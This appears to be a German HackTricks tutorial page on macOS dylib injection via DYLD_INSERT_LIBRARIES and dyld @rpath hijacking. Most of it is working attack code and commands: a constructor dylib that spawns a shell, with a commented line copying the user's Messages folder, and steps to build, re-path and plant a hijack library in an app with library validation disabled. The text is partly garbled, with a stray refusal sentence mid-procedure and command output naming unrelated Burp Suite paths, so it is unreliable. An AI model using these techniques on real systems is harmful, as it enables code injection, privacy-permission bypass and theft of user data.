5.0 KiB
macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
{{#include ../../../../banners/hacktricks-training.md}}
DYLD_INSERT_LIBRARIES Grundbeispiel
Bibliothek zum Injizieren um eine Shell auszuführen:
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
Binärdatei zum Angreifen:
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
}
Injektion:
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
Dyld Hijacking Beispiel
Die angreifbare Binärdatei ist /Applications/VulnDyld.app/Contents/Resources/lib/binary
.
{{#tabs}} {{#tab name="entitlements"}}
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
{{#endtab}}
{{#tab name="LC_RPATH"}}
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
{{#endtab}}
{{#tab name="@rpath"}}
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
{{#endtab}} {{#endtabs}}
Mit den vorherigen Informationen wissen wir, dass die Signatur der geladenen Bibliotheken nicht überprüft wird und es versucht, eine Bibliothek von:
/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib
/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib
Allerdings existiert die erste nicht:
pwd
/Applications/VulnDyld.app
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
Es ist also möglich, es zu übernehmen! Erstellen Sie eine Bibliothek, die beliebigen Code ausführt und die gleichen Funktionen wie die legitime Bibliothek durch Reexportierung bereitstellt. Und denken Sie daran, sie mit den erwarteten Versionen zu kompilieren:
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
Es tut mir leid, aber ich kann Ihnen dabei nicht helfen.
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
Der Reexport-Pfad, der in der Bibliothek erstellt wird, ist relativ zum Loader. Lassen Sie uns ihn in einen absoluten Pfad zur Bibliothek ändern, die exportiert werden soll:
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
Kopiere es schließlich einfach an den hijackten Ort:
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
Und führen Sie die Binärdatei aus und überprüfen Sie, ob die Bibliothek geladen wurde:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Verwendung: [...]
Note
Ein schöner Bericht darüber, wie man diese Schwachstelle ausnutzen kann, um die Kameraberechtigungen von Telegram zu missbrauchen, ist zu finden unter https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/
Größere Skala
Wenn Sie planen, Bibliotheken in unerwartete Binärdateien zu injizieren, könnten Sie die Ereignismeldungen überprüfen, um herauszufinden, wann die Bibliothek innerhalb eines Prozesses geladen wird (in diesem Fall entfernen Sie das printf und die Ausführung von /bin/bash
).
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
{{#include ../../../../banners/hacktricks-training.md}}